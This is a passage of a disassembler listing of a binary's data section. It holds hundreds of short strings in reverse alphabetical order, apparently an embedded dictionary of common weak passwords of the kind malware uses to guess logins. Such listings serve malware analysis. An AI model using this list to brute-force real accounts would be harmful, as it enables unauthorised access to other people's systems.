.nsp0:0042AB8Co align 10h aWombat db 'wombat',0 ; DATA XREF: .nsp0:0042AB88o align 4 aWoman db 'woman',0 ; DATA XREF: .nsp0:0042AB84o align 10h aWolverin db 'wolverin',0 ; DATA XREF: .nsp0:0042AB80o align 4 aWolf db 'wolf',0 ; DATA XREF: .nsp0:0042AB7Co align 4 aWizard db 'wizard',0 ; DATA XREF: .nsp0:0042AB78o align 4 aWithin db 'within',0 ; DATA XREF: .nsp0:0042AB74o align 4 aWiseass db 'wiseass',0 ; DATA XREF: .nsp0:0042AB70o aWisconsi db 'wisconsi',0 ; DATA XREF: .nsp0:0042AB6Co align 4 aWired db 'wired',0 ; DATA XREF: .nsp0:0042AB68o align 10h aWinston db 'winston',0 ; DATA XREF: .nsp0:0042AB64o aWing db 'wing',0 ; DATA XREF: .nsp0:0042AB60o align 10h aWine db 'wine',0 ; DATA XREF: .nsp0:0042AB5Co align 4 aWindows db 'windows',0 ; DATA XREF: .nsp0:0042AB58o aWilma db 'wilma',0 ; DATA XREF: .nsp0:0042AB54o align 4 aWillie db 'willie',0 ; DATA XREF: .nsp0:0042AB50o align 10h aWilliams db 'williams',0 ; DATA XREF: .nsp0:0042AB4Co align 4 aWilliam db 'william',0 ; DATA XREF: .nsp0:0042AB48o aWill db 'will',0 ; DATA XREF: .nsp0:0042AB44o align 4 aWhore db 'whore',0 ; DATA XREF: .nsp0:0042AB40o align 4 aWholesal db 'wholesal',0 ; DATA XREF: .nsp0:0042AB3Co align 10h aWhitney db 'whitney',0 ; DATA XREF: .nsp0:0042AB38o aWhiting db 'whiting',0 ; DATA XREF: .nsp0:0042AB34o aWhite db 'white',0 ; DATA XREF: .nsp0:0042AB30o align 4 aWhisky db 'whisky',0 ; DATA XREF: .nsp0:0042AB2Co align 10h aWhatnot db 'whatnot',0 ; DATA XREF: .nsp0:0042AB28o aWhatever db 'whatever',0 ; DATA XREF: .nsp0:0042AB24o align 4 aWestern db 'western',0 ; DATA XREF: .nsp0:0042AB20o aWest db 'west',0 ; DATA XREF: .nsp0:0042AB1Co align 4 aWerewolf db 'werewolf',0 ; DATA XREF: .nsp0:0042AB18o align 10h aWendy db 'wendy',0 ; DATA XREF: .nsp0:0042AB14o align 4 aWendi db 'wendi',0 ; DATA XREF: .nsp0:0042AB10o align 10h aWell db 'well',0 ; DATA XREF: .nsp0:0042AB0Co align 4 aWeenie db 'weenie',0 ; DATA XREF: .nsp0:0042AB08o align 10h aWeed db 'weed',0 ; DATA XREF: .nsp0:0042AB04o align 4 aWednesda db 'wednesda',0 ; DATA XREF: .nsp0:0042AB00o align 4 aWebpage db 'webpage',0 ; DATA XREF: .nsp0:0042AAFCo aWave db 'wave',0 ; DATA XREF: .nsp0:0042AAF8o align 4 aWater db 'water',0 ; DATA XREF: .nsp0:0042AAF4o align 4 aWatchwor db 'watchwor',0 ; DATA XREF: .nsp0:0042AAF0o align 4 aWasp db 'wasp',0 ; DATA XREF: .nsp0:0042AAECo align 10h aWarren db 'warren',0 align 4 aWarp db 'warp',0 align 10h aWargames db 'wargames',0 align 4 aWarfare db 'warfare',0 aWarez db 'warez',0 align 4 aWard db 'ward',0 align 4 aWaco db 'waco',0 align 4 aVodka db 'vodka',0 align 4 aVisualba db 'visualba',0 align 10h aVisual db 'visual',0 align 4 aVisitor db 'visitor',0 aVirus db 'virus',0 align 4 aVirginia db 'virginia',0 align 4 aVirgin db 'virgin',0 align 4 aVillage db 'village',0 aVideogam db 'videogam',0 align 10h aVideo db 'video',0 ; DATA XREF: .nsp0:loc_408EC3o align 4 aVictor db 'victor',0 align 10h aVicky db 'vicky',0 align 4 aVertigo db 'vertigo',0 aVeronica db 'veronica',0 align 4 aVenus db 'venus',0 ; DATA XREF: .nsp0:0042AA94o align 4 aVasant db 'vasant',0 align 4 aVampire db 'vampire',0 aValerie db 'valerie',0 ; DATA XREF: .nsp0:0042AA88o aVagina db 'vagina',0 ; DATA XREF: .nsp0:0042AA84o align 4 aUucp db 'uucp',0 ; DATA XREF: .nsp0:0042AA80o align 4 aUtility db 'utility',0 aUtil db 'util',0 align 4 aUsmc db 'usmc',0 align 4 aUsername db 'username',0 align 10h aUsermane db 'usermane',0 align 4 aUsenet db 'usenet',0 align 4 aUrsula db 'ursula',0 align 4 aUrchin db 'urchin',0 align 4 aUranus db 'uranus',0 align 4 aUpload db 'upload',0 ; DATA XREF: .nsp0:00407281o align 4 aUnlock db 'unlock',0 align 4 aUnknown_0 db 'unknown',0 aUniversi db 'universi',0 align 10h aUniverse db 'universe',0 align 4 aUniversa db 'universa',0 align 4 aUniform db 'uniform',0 aUnicorn db 'unicorn',0 aUnhappy db 'unhappy',0 aUndo db 'undo',0 align 4 aUncle db 'uncle',0 align 10h aUmesh db 'umesh',0 align 4 aUgly db 'ugly',0 align 10h aTuttle db 'tuttle',0 align 4 aTurn db 'turn',0 align 10h aTuesday db 'tuesday',0 aTubas db 'tubas',0 align 10h aTruth db 'truth',0 align 4 aTrue db 'true',0 align 10h aTron db 'tron',0 align 4 aTrombone db 'trombone',0 align 4 aTrojan db 'trojan',0 align 4 aTrivial db 'trivial',0 aTrisha db 'trisha',0 align 4 aTrek db 'trek',0 align 4 aTree db 'tree',0 align 4 aTrapdoor db 'trapdoor',0 align 4 aTrap db 'trap',0 align 10h aTransfer db 'transfer',0 align 4 aTrails db 'trails',0 align 4 aTracy db 'tracy',0 align 4 aTracie db 'tracie',0 align 4 aTraci db 'traci',0 align 4 aToyota_0 db 'toyota',0 align 4 aToxic db 'toxic',0 align 4 aTortoise db 'tortoise',0 align 4 aTopograp db 'topograp',0 align 4 aTomato db 'tomato',0 align 4 aTokenrin db 'tokenrin',0 align 4 aToken db 'token',0 align 10h aToggle db 'toggle',0 align 4 aToad db 'toad',0 align 10h aTits db 'tits',0 align 4 aTina db 'tina',0 align 10h aTime db 'time',0 align 4 aTiger db 'tiger',0 align 10h aTiffany db 'tiffany',0 aThursday db 'thursday',0 align 4 aThin db 'thin',0 align 4 aTheresa db 'theresa',0 aThailand db 'thailand',0 align 10h aText db 'text',0 align 4 aTetris db 'tetris',0 ; DATA XREF: .nsp0:0042A988o align 10h aTess db 'tess',0 ; DATA XREF: .nsp0:0042A984o align 4 aTerminat db 'terminat',0 ; DATA XREF: .nsp0:0042A980o align 4 aTerminal db 'terminal',0 ; DATA XREF: .nsp0:0042A97Co align 10h aTera db 'tera',0 ; DATA XREF: .nsp0:0042A978o align 4 aTennis db 'tennis',0 ; DATA XREF: .nsp0:0042A974o align 10h aTemptati db 'temptati',0 ; DATA XREF: .nsp0:0042A970o align 4 aTelnet db 'telnet',0 ; DATA XREF: .nsp0:0042A96Co align 4 aTelephon db 'telephon',0 ; DATA XREF: .nsp0:0042A968o align 10h aTeenage db 'teenage',0 ; DATA XREF: .nsp0:0042A964o aTeen db 'teen',0 ; DATA XREF: .nsp0:0042A960o align 10h aTech db 'tech',0 ; DATA XREF: .nsp0:0042A95Co align 4 aTears db 'tears',0 ; DATA XREF: .nsp0:0042A958o align 10h aTeapot db 'teapot',0 ; DATA XREF: .nsp0:0042A954o align 4 aTeam db 'team',0 ; DATA XREF: .nsp0:0042A950o align 10h aTaylor db 'taylor',0 ; DATA XREF: .nsp0:0042A948o align 4 aTarragon db 'tarragon',0 ; DATA XREF: .nsp0:0042A944o align 4 aTarget db 'target',0 ; DATA XREF: .nsp0:0042A940o align 4 aTara db 'tara',0 ; DATA XREF: .nsp0:0042A93Co align 4 aTape db 'tape',0 ; DATA XREF: .nsp0:0042A938o align 4 aTango db 'tango',0 ; DATA XREF: .nsp0:0042A934o align 4 aTangerin db 'tangerin',0 ; DATA XREF: .nsp0:0042A930o align 10h aTammy db 'tammy',0 ; DATA XREF: .nsp0:0042A92Co align 4 aTamie db 'tamie',0 ; DATA XREF: .nsp0:0042A928o align 10h aTami db 'tami',0 ; DATA XREF: .nsp0:0042A924o align 4 aTamara db 'tamara',0 ; DATA XREF: .nsp0:0042A920o align 10h aTall db 'tall',0 ; DATA XREF: .nsp0:0042A91Co align 4 aTalk db 'talk',0 ; DATA XREF: .nsp0:0042A918o align 10h aTabasco db 'tabasco',0 ; DATA XREF: .nsp0:0042A914o aSysop db 'sysop',0 ; DATA XREF: .nsp0:0042A910o align 10h aSysadmin db 'sysadmin',0 ; DATA XREF: .nsp0:0042A90Co align 4 aSymmetry db 'symmetry',0 ; DATA XREF: .nsp0:0042A908o align 4 aSybil db 'sybil',0 ; DATA XREF: .nsp0:0042A904o align 10h aSword db 'sword',0 ; DATA XREF: .nsp0:0042A900o align 4 aSwitch db 'switch',0 ; DATA XREF: .nsp0:0042A8FCo align 10h aSweat db 'sweat',0 ; DATA XREF: .nsp0:0042A8F8o align 4 aSwearer db 'swearer',0 ; DATA XREF: .nsp0:0042A8F4o aSuzie db 'suzie',0 ; DATA XREF: .nsp0:0042A8F0o align 4 aSuzanne db 'suzanne',0 ; DATA XREF: .nsp0:0042A8ECo aSusie db 'susie',0 ; DATA XREF: .nsp0:0042A8E8o align 4 aSusanne db 'susanne',0 ; DATA XREF: .nsp0:0042A8E4o aSusan db 'susan',0 ; DATA XREF: .nsp0:0042A8E0o align 4 aSurfing db 'surfing',0 ; DATA XREF: .nsp0:0042A8DCo aSurfer db 'surfer',0 ; DATA XREF: .nsp0:0042A8D8o align 4 aSupporte db 'supporte',0 ; DATA XREF: .nsp0:0042A8D4o align 4 aSupport db 'support',0 ; DATA XREF: .nsp0:0042A8D0o aSupervis db 'supervis',0 ; DATA XREF: .nsp0:0042A8CCo align 4 aSuperuse db 'superuse',0 ; DATA XREF: .nsp0:0042A8C8o align 4 aSupersta db 'supersta',0 ; DATA XREF: .nsp0:0042A8C4o align 10h aSuperson db 'superson',0 ; DATA XREF: .nsp0:0042A8C0o align 4 aSuperman db 'superman',0 ; DATA XREF: .nsp0:0042A8BCo align 4 aSunday db 'sunday',0 ; DATA XREF: .nsp0:0042A8B8o align 10h aSummer db 'summer',0 ; DATA XREF: .nsp0:0042A8B4o align 4 aSucks db 'sucks',0 ; DATA XREF: .nsp0:0042A8B0o align 10h aSuckmydi db 'suckmydi',0 ; DATA XREF: .nsp0:0042A8ACo align 4 aSuck db 'suck',0 ; DATA XREF: .nsp0:0042A8A8o align 4 aSuccess db 'success',0 ; DATA XREF: .nsp0:0042A8A4o aSubway db 'subway',0 ; DATA XREF: .nsp0:0042A8A0o align 4 aSubscrib db 'subscrib',0 ; DATA XREF: .nsp0:0042A89Co align 10h aStuttgar db 'stuttgar',0 ; DATA XREF: .nsp0:0042A898o align 4 aStrip db 'strip',0 ; DATA XREF: .nsp0:0042A890o align 4 aString db 'string',0 ; DATA XREF: .nsp0:0042A88Co align 4 aStreetfi db 'streetfi',0 ; DATA XREF: .nsp0:0042A888o align 4 aStratfor db 'stratfor',0 ; DATA XREF: .nsp0:0042A884o align 4 aStrangle db 'strangle',0 ; DATA XREF: .nsp0:0042A880o align 10h aStrange db 'strange',0 ; DATA XREF: .nsp0:0042A87Co aStones db 'stones',0 ; DATA XREF: .nsp0:0042A878o align 10h aStoned db 'stoned',0 ; DATA XREF: .nsp0:0042A874o align 4 aStoneage db 'stoneage',0 ; DATA XREF: .nsp0:0042A870o align 4 aSteve db 'steve',0 ; DATA XREF: .nsp0:0042A86Co align 4 aStereo db 'stereo',0 ; DATA XREF: .nsp0:0042A868o align 4 aStephani db 'stephani',0 ; DATA XREF: .nsp0:0042A864o align 10h aSteph db 'steph',0 ; DATA XREF: .nsp0:0042A860o align 4 aSteel db 'steel',0 ; DATA XREF: .nsp0:0042A85Co align 10h aSteal db 'steal',0 ; DATA XREF: .nsp0:0042A858o align 4 aSteak db 'steak',0 ; DATA XREF: .nsp0:0042A854o align 10h aStarwars db 'starwars',0 ; DATA XREF: .nsp0:0042A850o align 4 aStartup db 'startup',0 ; DATA XREF: .nsp0:0042A84Co aStartrek db 'startrek',0 ; DATA XREF: .nsp0:0042A848o align 10h aStart db 'start',0 ; DATA XREF: .nsp0:00405FB0o ; .nsp0:0042A844o align 4 aStarship db 'starship',0 ; DATA XREF: .nsp0:0042A840o align 4 aStar db 'star',0 ; DATA XREF: .nsp0:0042A83Co align 4 aStacy db 'stacy',0 ; DATA XREF: .nsp0:0042A838o align 4 aStacie db 'stacie',0 ; DATA XREF: .nsp0:0042A834o align 4 aStaci db 'staci',0 ; DATA XREF: .nsp0:0042A830o align 4 aStacey db 'stacey',0 ; DATA XREF: .nsp0:0042A82Co align 4 aSr71 db 'sr71',0 ; DATA XREF: .nsp0:0042A828o align 4 aSquires db 'squires',0 ; DATA XREF: .nsp0:0042A824o aSpunk db 'spunk',0 ; DATA XREF: .nsp0:0042A820o align 4 aSpringer db 'springer',0 ; DATA XREF: .nsp0:0042A81Co align 10h aSpring db 'spring',0 ; DATA XREF: .nsp0:0042A818o align 4 aSpred db 'spred',0 ; DATA XREF: .nsp0:0042A814o align 10h aSpit db 'spit',0 ; DATA XREF: .nsp0:0042A810o align 4 aSpiderma db 'spiderma',0 ; DATA XREF: .nsp0:0042A80Co align 4 aSpider db 'spider',0 ; DATA XREF: .nsp0:0042A808o align 4 aSpice db 'spice',0 ; DATA XREF: .nsp0:0042A804o align 4 aSpell db 'spell',0 ; DATA XREF: .nsp0:0042A800o align 4 aSpear db 'spear',0 ; DATA XREF: .nsp0:0042A7FCo align 4 aSparrows db 'sparrows',0 ; DATA XREF: .nsp0:0042A7F8o align 10h aSpaceshi db 'spaceshi',0 ; DATA XREF: .nsp0:0042A7F4o align 4 aSouth db 'south',0 ; DATA XREF: .nsp0:0042A7F0o align 4 aSource db 'source',0 ; DATA XREF: .nsp0:0042A7ECo align 4 aSossina db 'sossina',0 ; DATA XREF: .nsp0:0042A7E8o aSonya db 'sonya',0 ; DATA XREF: .nsp0:0042A7E4o align 4 aSonic db 'sonic',0 ; DATA XREF: .nsp0:0042A7E0o align 4 aSonia db 'sonia',0 ; DATA XREF: .nsp0:0042A7DCo align 4 aSondra db 'sondra',0 ; DATA XREF: .nsp0:0042A7D8o align 4 aSomebody db 'somebody',0 ; DATA XREF: .nsp0:0042A7D4o align 10h aSoftware db 'software',0 ; DATA XREF: .nsp0:0042A7D0o align 4 aSoft db 'soft',0 align 4 aSodomy db 'sodomy',0 align 4 aSocrates db 'socrates',0 align 4 aSocial db 'social',0 align 10h aSoap db 'soap',0 align 4 aSnoopy db 'snoopy',0 align 10h aSnatch db 'snatch',0 align 4 aSnake db 'snake',0 align 10h aSnafu db 'snafu',0 align 4 aSnach db 'snach',0 align 10h aSmut db 'smut',0 align 4 aSmtp db 'smtp',0 align 10h aSmother db 'smother',0 aSmooch db 'smooch',0 align 10h aSmiles db 'smiles',0 align 4 aSmile db 'smile',0 align 10h aSmart db 'smart',0 align 4 aSmall db 'small',0 align 10h aSlut db 'slut',0 align 4 aSlow db 'slow',0 align 10h aSliders db 'sliders',0 aSlick db 'slick',0 align 10h aSlave db 'slave',0 align 4 aSkull db 'skull',0 align 10h aSite db 'site',0 align 4 aSingle db 'single',0 align 10h aSinger db 'singer',0 align 4 aSimulati db 'simulati',0 ; DATA XREF: .nsp0:0042A760o align 4 aSimpsons db 'simpsons',0 ; DATA XREF: .nsp0:0042A75Co align 10h aSimple db 'simple',0 ; DATA XREF: .nsp0:0042A758o align 4 aSimon db 'simon',0 ; DATA XREF: .nsp0:0042A754o align 10h aSimcity db 'simcity',0 ; DATA XREF: .nsp0:0042A750o aSilver db 'silver',0 ; DATA XREF: .nsp0:0042A74Co align 10h aSignatur db 'signatur',0 ; DATA XREF: .nsp0:0042A748o align 4 aSierra db 'sierra',0 ; DATA XREF: .nsp0:0042A744o align 4 aSick db 'sick',0 ; DATA XREF: .nsp0:0042A740o align 4 aShuttle db 'shuttle',0 ; DATA XREF: .nsp0:0042A73Co aShort db 'short',0 ; DATA XREF: .nsp0:0042A738o align 4 aShivers db 'shivers',0 ; DATA XREF: .nsp0:0042A734o aShiva db 'shiva',0 ; DATA XREF: .nsp0:0042A730o align 4 aShitpot db 'shitpot',0 ; DATA XREF: .nsp0:0042A72Co aShit db 'shit',0 ; DATA XREF: .nsp0:0042A728o align 4 aShirley db 'shirley',0 ; DATA XREF: .nsp0:0042A724o aShift db 'shift',0 ; DATA XREF: .nsp0:0042A720o align 4 aSherri db 'sherri',0 ; DATA XREF: .nsp0:0042A71Co align 4 aShell db 'shell',0 ; DATA XREF: .nsp0:0042A718o align 4 aSheldon db 'sheldon',0 ; DATA XREF: .nsp0:0042A714o aSheffiel db 'sheffiel',0 ; DATA XREF: .nsp0:0042A710o align 10h aSharon db 'sharon',0 ; DATA XREF: .nsp0:0042A70Co align 4 aSharks db 'sharks',0 ; DATA XREF: .nsp0:0042A708o align 10h aShark db 'shark',0 ; DATA XREF: .nsp0:0042A704o align 4 aSharc db 'sharc',0 ; DATA XREF: .nsp0:0042A700o align 10h aShannon db 'shannon',0 ; DATA XREF: .nsp0:0042A6FCo aSexy db 'sexy',0 ; DATA XREF: .nsp0:0042A6F8o align 10h aSesame db 'sesame',0 ; DATA XREF: .nsp0:0042A6F4o align 4 aService db 'service',0 ; DATA XREF: .nsp0:0042A6F0o aSerial db 'serial',0 ; DATA XREF: .nsp0:0042A6ECo align 4 aSerenity db 'serenity',0 ; DATA XREF: .nsp0:0042A6E8o align 4 aSentry db 'sentry',0 ; DATA XREF: .nsp0:0042A6E4o align 4 aSentinel db 'sentinel',0 ; DATA XREF: .nsp0:0042A6E0o align 4 aSensor db 'sensor',0 ; DATA XREF: .nsp0:0042A6DCo align 10h aSega db 'sega',0 ; DATA XREF: .nsp0:0042A6D8o align 4 aSeed db 'seed',0 ; DATA XREF: .nsp0:0042A6D4o align 10h aSecurity db 'security',0 ; DATA XREF: .nsp0:0042A6D0o align 4 aSearch db 'search',0 ; DATA XREF: .nsp0:0042A6CCo align 4 aScout db 'scout',0 ; DATA XREF: .nsp0:0042A6C8o align 4 aScotty db 'scotty',0 ; DATA XREF: .nsp0:0042A6C4o align 4 aScott db 'scott',0 ; DATA XREF: .nsp0:0042A6C0o align 4 aScorpion db 'scorpion',0 ; DATA XREF: .nsp0:0042A6BCo align 4 aScifi db 'scifi',0 ; DATA XREF: .nsp0:0042A6B8o align 10h aSchoolsucks db 'schoolsucks',0 ; DATA XREF: .nsp0:0042A6B4o aSchool db 'school',0 ; DATA XREF: .nsp0:0042A6B0o align 4 aScheme db 'scheme',0 ; DATA XREF: .nsp0:0042A6ACo align 4 aScamper db 'scamper',0 ; DATA XREF: .nsp0:0042A6A8o aSaxon db 'saxon',0 ; DATA XREF: .nsp0:0042A6A4o align 4 aSaturn db 'saturn',0 ; DATA XREF: .nsp0:0042A6A0o align 4 aSaturday db 'saturday',0 ; DATA XREF: .nsp0:0042A69Co align 10h aSarah db 'sarah',0 ; DATA XREF: .nsp0:0042A698o align 4 aSara db 'sara',0 ; DATA XREF: .nsp0:0042A694o align 10h aSandy db 'sandy',0 ; DATA XREF: .nsp0:0042A690o align 4 aSandra db 'sandra',0 ; DATA XREF: .nsp0:0042A68Co align 10h aSample db 'sample',0 ; DATA XREF: .nsp0:0042A688o align 4 aSamantha db 'samantha',0 ; DATA XREF: .nsp0:0042A684o align 4 aSalt db 'salt',0 ; DATA XREF: .nsp0:0042A680o align 4 aSale db 'sale',0 ; DATA XREF: .nsp0:0042A67Co align 4 aSalami db 'salami',0 ; DATA XREF: .nsp0:0042A678o align 4 aSafe db 'safe',0 ; DATA XREF: .nsp0:0042A674o align 4 aRuth db 'ruth',0 ; DATA XREF: .nsp0:0042A670o align 4 aRush db 'rush',0 ; DATA XREF: .nsp0:0042A66Co align 4 aRunning db 'running',0 ; DATA XREF: .nsp0:0042A668o aRules db 'rules',0 ; DATA XREF: .nsp0:0042A664o align 4 aRude db 'rude',0 ; DATA XREF: .nsp0:0042A660o align 4 aRuby db 'ruby',0 ; DATA XREF: .nsp0:0042A65Co align 4 aRuben db 'ruben',0 ; DATA XREF: .nsp0:0042A658o align 4 aRubber db 'rubber',0 ; DATA XREF: .nsp0:0042A654o align 4 aRough db 'rough',0 ; DATA XREF: .nsp0:0042A650o align 4 aRoses db 'roses',0 ; DATA XREF: .nsp0:0042A64Co align 4 aRosemary db 'rosemary',0 ; DATA XREF: .nsp0:0042A648o align 10h aRosebud db 'rosebud',0 ; DATA XREF: .nsp0:0042A644o aRose db 'rose',0 ; DATA XREF: .nsp0:0042A640o align 10h aRonald db 'ronald',0 ; DATA XREF: .nsp0:0042A63Co align 4 aRomulan db 'romulan',0 ; DATA XREF: .nsp0:0042A638o aRomeo db 'romeo',0 ; DATA XREF: .nsp0:0042A634o align 4 aRomano db 'romano',0 ; DATA XREF: .nsp0:0042A630o align 10h aRolex db 'rolex',0 ; DATA XREF: .nsp0:0042A62Co align 4 aRodent db 'rodent',0 ; DATA XREF: .nsp0:0042A628o align 10h aRockyhor db 'rockyhor',0 ; DATA XREF: .nsp0:0042A624o align 4 aRocky db 'rocky',0 ; DATA XREF: .nsp0:0042A620o align 4 aRock db 'rock',0 ; DATA XREF: .nsp0:0042A61Co align 4 aRocheste db 'rocheste',0 ; DATA XREF: .nsp0:0042A618o align 4 aRochelle db 'rochelle',0 ; DATA XREF: .nsp0:0042A614o align 4 aRobyn db 'robyn',0 ; DATA XREF: .nsp0:0042A610o align 4 aRobotics db 'robotics',0 ; DATA XREF: .nsp0:0042A60Co align 4 aRobot db 'robot',0 ; DATA XREF: .nsp0:0042A608o align 10h aRobin db 'robin',0 ; DATA XREF: .nsp0:0042A604o align 4 aRobert db 'robert',0 ; DATA XREF: .nsp0:0042A600o align 10h aRoach db 'roach',0 ; DATA XREF: .nsp0:0042A5FCo align 4 aRisc db 'risc',0 ; DATA XREF: .nsp0:0042A5F8o align 10h aRipple db 'ripple',0 ; DATA XREF: .nsp0:0042A5F4o align 4 aRiot db 'riot',0 ; DATA XREF: .nsp0:0042A5F0o align 10h aRing db 'ring',0 ; DATA XREF: .nsp0:0042A5ECo align 4 aRightwin db 'rightwin',0 ; DATA XREF: .nsp0:0042A5E8o align 4 aRight db 'right',0 ; DATA XREF: .nsp0:0042A5E4o align 4 aRiffraff db 'riffraff',0 ; DATA XREF: .nsp0:0042A5E0o align 4 aRick db 'rick',0 ; DATA XREF: .nsp0:0042A5DCo align 10h aRich db 'rich',0 ; DATA XREF: .nsp0:0042A5D8o align 4 aRhino db 'rhino',0 ; DATA XREF: .nsp0:0042A5D4o align 10h aReveal db 'reveal',0 ; DATA XREF: .nsp0:0042A5D0o align 4 aResistan db 'resistan',0 ; DATA XREF: .nsp0:0042A5CCo align 4 aRepublic db 'republic',0 ; DATA XREF: .nsp0:0042A5C8o align 10h aReport db 'report',0 ; DATA XREF: .nsp0:0042A5C4o align 4 aRent db 'rent',0 ; DATA XREF: .nsp0:0042A5C0o align 10h aReno db 'reno',0 ; DATA XREF: .nsp0:0042A5BCo align 4 aRenee db 'renee',0 ; DATA XREF: .nsp0:0042A5B8o align 10h aRemote db 'remote',0 ; DATA XREF: .nsp0:0042A5B4o align 4 aRelease db 'release',0 ; DATA XREF: .nsp0:0042A5B0o aRegional db 'regional',0 ; DATA XREF: .nsp0:0042A5ACo align 4 aReferenc db 'referenc',0 ; DATA XREF: .nsp0:0042A5A8o align 4 aRedhead db 'redhead',0 ; DATA XREF: .nsp0:0042A5A4o aReddawn db 'reddawn',0 ; DATA XREF: .nsp0:0042A5A0o aRecord db 'record',0 ; DATA XREF: .nsp0:0042A59Co align 10h aRebel db 'rebel',0 ; DATA XREF: .nsp0:0042A598o align 4 aRebecca db 'rebecca',0 ; DATA XREF: .nsp0:0042A594o aRebal db 'rebal',0 ; DATA XREF: .nsp0:0042A590o align 4 aReaper db 'reaper',0 ; DATA XREF: .nsp0:0042A58Co align 10h aReam db 'ream',0 ; DATA XREF: .nsp0:0042A588o align 4 aReally db 'really',0 ; DATA XREF: .nsp0:0042A584o align 10h aReality db 'reality',0 ; DATA XREF: .nsp0:0042A580o aReagan db 'reagan',0 ; DATA XREF: .nsp0:0042A57Co align 10h aRazor db 'razor',0 ; DATA XREF: .nsp0:0042A578o align 4 aRascal db 'rascal',0 ; DATA XREF: .nsp0:0042A574o align 10h aRape db 'rape',0 ; DATA XREF: .nsp0:0042A570o align 4 aRandom_0 db 'random',0 ; DATA XREF: .nsp0:00406D40o ; .nsp0:0042A56Co align 10h aRaleigh db 'raleigh',0 ; DATA XREF: .nsp0:0042A568o aRaindrop db 'raindrop',0 ; DATA XREF: .nsp0:0042A564o align 4 aRainbow db 'rainbow',0 ; DATA XREF: .nsp0:0042A560o aRain db 'rain',0 ; DATA XREF: .nsp0:0042A55Co align 4 aRaid db 'raid',0 ; DATA XREF: .nsp0:0042A558o align 4 aRachmani db 'rachmani',0 ; DATA XREF: .nsp0:0042A554o align 4 aRachelle db 'rachelle',0 ; DATA XREF: .nsp0:0042A550o align 4 aRachel db 'rachel',0 ; DATA XREF: .nsp0:0042A54Co align 4 aRabbit db 'rabbit',0 ; DATA XREF: .nsp0:0042A548o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .nsp0:0042A544o ; .nsp0:0042B29Co align 4 aQwert db 'qwert',0 ; DATA XREF: .nsp0:0042A540o ; .nsp0:0042B298o align 4 aQuebec db 'quebec',0 ; DATA XREF: .nsp0:0042A53Co align 4 aPussy db 'pussy',0 ; DATA XREF: .nsp0:0042A538o align 4 aPuppet db 'puppet',0 ; DATA XREF: .nsp0:0042A534o align 4 aPunk db 'punk',0 ; DATA XREF: .nsp0:0042A530o align 4 aPunisher db 'punisher',0 ; DATA XREF: .nsp0:0042A52Co align 10h aPuneet db 'puneet',0 ; DATA XREF: .nsp0:0042A528o align 4 aPumpkin db 'pumpkin',0 ; DATA XREF: .nsp0:0042A524o aPuke db 'puke',0 ; DATA XREF: .nsp0:0042A520o align 4 aPuck db 'puck',0 ; DATA XREF: .nsp0:0042A51Co align 10h aPublic db 'public',0 ; DATA XREF: .nsp0:0042A518o align 4 aPsychopa db 'psychopa',0 ; DATA XREF: .nsp0:0042A514o align 4 aPsycho db 'psycho',0 ; DATA XREF: .nsp0:0042A510o align 4 aProtozoa db 'protozoa',0 ; DATA XREF: .nsp0:0042A50Co align 4 aProtect db 'protect',0 ; DATA XREF: .nsp0:0042A508o aPrompt db 'prompt',0 ; DATA XREF: .nsp0:0042A504o align 4 aProgram db 'program',0 ; DATA XREF: .nsp0:0042A500o aProfile db 'profile',0 ; DATA XREF: .nsp0:0042A4FCo aProfesso db 'professo',0 ; DATA XREF: .nsp0:0042A4F8o align 4 aProcesso db 'processo',0 ; DATA XREF: .nsp0:0042A4F4o align 10h aProceed db 'proceed',0 ; DATA XREF: .nsp0:0042A4F0o aPrivs db 'privs',0 ; DATA XREF: .nsp0:0042A4ECo align 10h aPrivate db 'private',0 ; DATA XREF: .nsp0:0042A4E8o aPriv db 'priv',0 ; DATA XREF: .nsp0:0042A4E4o align 10h aPrinter db 'printer',0 ; DATA XREF: .nsp0:0042A4E0o aPrinceto db 'princeto',0 ; DATA XREF: .nsp0:0042A4DCo align 4 aPrince db 'prince',0 ; DATA XREF: .nsp0:0042A4D8o align 4 aPresto db 'presto',0 ; DATA XREF: .nsp0:0042A4D4o align 4 aPrelude db 'prelude',0 ; DATA XREF: .nsp0:0042A4D0o aPrecious db 'precious',0 ; DATA XREF: .nsp0:0042A4CCo align 4 aPraise db 'praise',0 ; DATA XREF: .nsp0:0042A4C8o align 10h aPower db 'power',0 ; DATA XREF: .nsp0:0042A4C4o align 4 aPoster db 'poster',0 ; DATA XREF: .nsp0:0042A4C0o align 10h aPost db 'post',0 ; DATA XREF: .nsp0:0042A4BCo align 4 aPorsche db 'porsche',0 ; DATA XREF: .nsp0:0042A4B8o aPorno db 'porno',0 ; DATA XREF: .nsp0:0042A4B4o align 4 aPorn db 'porn',0 ; DATA XREF: .nsp0:0042A4B0o align 10h aPork db 'pork',0 ; DATA XREF: .nsp0:0042A4ACo align 4 aPoor db 'poor',0 ; DATA XREF: .nsp0:0042A4A8o align 10h aPoop db 'poop',0 ; DATA XREF: .nsp0:0042A4A4o align 4 aPonderin db 'ponderin',0 ; DATA XREF: .nsp0:0042A4A0o align 4 aPolynomi db 'polynomi',0 ; DATA XREF: .nsp0:0042A49Co align 10h aPolly db 'polly',0 ; DATA XREF: .nsp0:0042A498o align 4 aPolice db 'police',0 ; DATA XREF: .nsp0:0042A494o align 10h aPoetry db 'poetry',0 ; DATA XREF: .nsp0:0042A490o align 4 aPlymouth db 'plymouth',0 ; DATA XREF: .nsp0:0042A48Co align 4 aPluto db 'pluto',0 ; DATA XREF: .nsp0:0042A488o align 4 aPlover db 'plover',0 ; DATA XREF: .nsp0:0042A484o align 4 aPlayboy db 'playboy',0 ; DATA XREF: .nsp0:0042A480o aPlane db 'plane',0 ; DATA XREF: .nsp0:0042A47Co align 4 aPizza db 'pizza',0 ; DATA XREF: .nsp0:0042A478o align 4 aPiss db 'piss',0 ; DATA XREF: .nsp0:0042A474o align 4 aPinname db 'pinname',0 ; DATA XREF: .nsp0:0042A470o aPimp db 'pimp',0 ; DATA XREF: .nsp0:0042A46Co align 4 aPierre db 'pierre',0 ; DATA XREF: .nsp0:0042A468o align 4 aPick db 'pick',0 ; DATA XREF: .nsp0:0042A464o align 4 aPhuck db 'phuck',0 ; DATA XREF: .nsp0:0042A460o align 4 aPhreak db 'phreak',0 ; DATA XREF: .nsp0:0042A45Co align 4 aPhrase db 'phrase',0 ; DATA XREF: .nsp0:0042A458o align 4 aPhrack db 'phrack',0 ; DATA XREF: .nsp0:0042A454o align 4 aPhoton db 'photon',0 ; DATA XREF: .nsp0:0042A450o align 4 aPhone db 'phone',0 ; DATA XREF: .nsp0:0042A44Co align 4 aPhoenix db 